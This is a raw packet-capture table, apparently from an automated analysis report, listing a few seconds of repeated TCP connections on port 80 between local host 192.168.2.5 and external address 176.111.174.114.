Apr 28, 2021 23:24:11.951392889 CEST	80	50127	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.954858065 CEST	80	50127	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.954926968 CEST	50127	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.057189941 CEST	50127	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.058430910 CEST	50128	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.153156042 CEST	80	50127	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.153230906 CEST	80	50128	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.153286934 CEST	50127	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.153444052 CEST	50128	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.154093027 CEST	50128	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.246942997 CEST	80	50128	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.250586033 CEST	80	50128	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.250680923 CEST	50128	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.353684902 CEST	50128	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.356540918 CEST	50129	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.446574926 CEST	80	50128	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.446698904 CEST	50128	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.450387955 CEST	80	50129	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.450531960 CEST	50129	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.451030016 CEST	50129	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.545072079 CEST	80	50129	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.548661947 CEST	80	50129	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.549993038 CEST	50129	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.666115046 CEST	50129	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.667301893 CEST	50130	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.716758966 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.759983063 CEST	80	50129	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.760111094 CEST	50129	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.765244007 CEST	80	50130	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.765336990 CEST	50130	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.766565084 CEST	50130	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.809998989 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.810766935 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.810846090 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.864567041 CEST	80	50130	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.867818117 CEST	80	50130	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.867939949 CEST	50130	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.905762911 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.905867100 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.906066895 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.906081915 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.906133890 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.906563044 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.906625986 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.906966925 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.906982899 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.907043934 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.907298088 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.907313108 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.907360077 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.907581091 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.907640934 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.909672022 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.909778118 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.981607914 CEST	50130	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.982721090 CEST	50132	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.999509096 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.999538898 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.999556065 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.999660015 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.999665022 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.999679089 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.999806881 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.999813080 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:12.999847889 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.999867916 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.999878883 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:12.999897003 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.000118971 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.000281096 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.000329018 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.000338078 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.000448942 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.002573967 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.002594948 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.002692938 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.080813885 CEST	80	50130	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.080943108 CEST	50130	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.081370115 CEST	80	50132	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.081552029 CEST	50132	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.082134008 CEST	50132	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.093974113 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.094064951 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.094151020 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.094211102 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.094558954 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.094572067 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.094646931 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.094677925 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.094691992 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.094851017 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.094862938 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.094878912 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.094938040 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.094955921 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.094970942 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.094988108 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.094993114 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.095068932 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.095081091 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.095082998 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.095153093 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.097441912 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.180712938 CEST	80	50132	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.185597897 CEST	80	50132	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.185770035 CEST	50132	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.188688040 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.188704014 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.188714981 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.189151049 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.189162970 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.189347982 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.189358950 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.189451933 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.190356016 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.190367937 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.190376043 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.190824986 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.190836906 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.191627979 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.191639900 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.191822052 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.191838026 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.194755077 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.197154999 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.290318012 CEST	80	50131	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.291342974 CEST	50132	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.291565895 CEST	50131	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.293152094 CEST	50134	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.386668921 CEST	80	50134	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.386792898 CEST	50134	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.387631893 CEST	50134	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.389108896 CEST	80	50132	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.389211893 CEST	50132	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.481456995 CEST	80	50134	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.485121965 CEST	80	50134	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.485275030 CEST	50134	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.588480949 CEST	50134	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.589983940 CEST	50135	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.682538986 CEST	80	50134	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.682789087 CEST	50134	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.688007116 CEST	80	50135	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.688146114 CEST	50135	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.688919067 CEST	50135	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.788484097 CEST	80	50135	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.791184902 CEST	80	50135	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:13.791344881 CEST	50135	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.901931047 CEST	50135	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:13.903285027 CEST	50136	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.000381947 CEST	80	50135	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.002393961 CEST	50135	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.005392075 CEST	80	50136	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.005861998 CEST	50136	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.006500959 CEST	50136	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.108534098 CEST	80	50136	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.112190962 CEST	80	50136	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.114790916 CEST	50136	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.229499102 CEST	50136	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.233799934 CEST	50137	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.331808090 CEST	80	50136	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.331840992 CEST	80	50137	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.331923008 CEST	50136	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.331990957 CEST	50137	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.332624912 CEST	50137	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.432998896 CEST	80	50137	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.436415911 CEST	80	50137	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.436836004 CEST	50137	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.541686058 CEST	50137	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.544740915 CEST	50139	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.640057087 CEST	80	50137	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.640238047 CEST	50137	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.644058943 CEST	80	50139	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.644184113 CEST	50139	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.645020962 CEST	50139	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.744235039 CEST	80	50139	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.747627020 CEST	80	50139	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.747838974 CEST	50139	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.854012966 CEST	50139	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.866130114 CEST	50140	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.953214884 CEST	80	50139	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.953294039 CEST	50139	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.961525917 CEST	80	50140	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:14.961633921 CEST	50140	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:14.962510109 CEST	50140	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.059350014 CEST	80	50140	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.063019037 CEST	80	50140	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.063113928 CEST	50140	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.168795109 CEST	50140	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.170176029 CEST	50141	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.265183926 CEST	80	50140	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.265290976 CEST	50140	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.270915985 CEST	80	50141	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.271051884 CEST	50141	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.271668911 CEST	50141	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.371319056 CEST	80	50141	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.374546051 CEST	80	50141	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.377886057 CEST	50141	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.498013020 CEST	50141	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.499895096 CEST	50142	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.593744040 CEST	80	50142	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.593852997 CEST	50142	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.594316959 CEST	50142	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.597775936 CEST	80	50141	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.597877026 CEST	50141	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.627799988 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.687870026 CEST	80	50142	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.691734076 CEST	80	50142	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.691895008 CEST	50142	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.725622892 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.728890896 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.739731073 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.806858063 CEST	50142	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.807812929 CEST	50144	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.837753057 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.837846994 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.837951899 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.838006973 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.838079929 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.838422060 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.838494062 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.838525057 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.838582039 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.838596106 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.838656902 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.838941097 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.839129925 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.839158058 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.839178085 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.839222908 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.839236975 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.839667082 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.839766979 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.900526047 CEST	80	50142	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.900696039 CEST	50142	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.902585983 CEST	80	50144	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.902745008 CEST	50144	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.903770924 CEST	50144	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.935777903 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.935817957 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.935839891 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.935863018 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.935887098 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.935997009 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.936067104 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.936073065 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.936100006 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.936125040 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.936192036 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.936249018 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.936603069 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.936691046 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.936796904 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.936820984 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.936841965 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.936883926 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.936939955 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.937197924 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.937282085 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.937319994 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:15.937446117 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:15.998641014 CEST	80	50144	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.002784014 CEST	80	50144	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.002985954 CEST	50144	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.033684015 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.033736944 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.033762932 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.033859968 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.034060955 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.034084082 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.034087896 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.034105062 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.034148932 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.034215927 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.034235001 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.034296036 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.034329891 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.034394979 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.034470081 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.034548044 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.034574032 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.034679890 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.034692049 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.034709930 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.034821033 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.034869909 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.034893036 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.035008907 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.120815039 CEST	50144	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.123641968 CEST	50145	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.131834030 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.131895065 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.131921053 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.131942987 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.132051945 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.132077932 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.132461071 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.132492065 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.132567883 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.132689953 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.132854939 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.133053064 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.133210897 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.133236885 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.133260965 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.134252071 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.134289026 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.135915041 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.136204004 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.218869925 CEST	80	50144	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.218983889 CEST	50144	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.222879887 CEST	80	50145	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.223007917 CEST	50145	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.223975897 CEST	50145	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.236210108 CEST	80	50143	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.236375093 CEST	50143	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.321198940 CEST	80	50145	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.325309038 CEST	80	50145	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.325402975 CEST	50145	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.432590961 CEST	50145	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.435293913 CEST	50147	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.530258894 CEST	80	50145	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.530354977 CEST	50145	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.530713081 CEST	80	50147	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.530878067 CEST	50147	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.531900883 CEST	50147	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.627327919 CEST	80	50147	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.631362915 CEST	80	50147	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.631572962 CEST	50147	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.744559050 CEST	50147	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.746697903 CEST	50148	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.840050936 CEST	80	50147	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.840143919 CEST	50147	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.843005896 CEST	80	50148	176.111.174.114	192.168.2.5
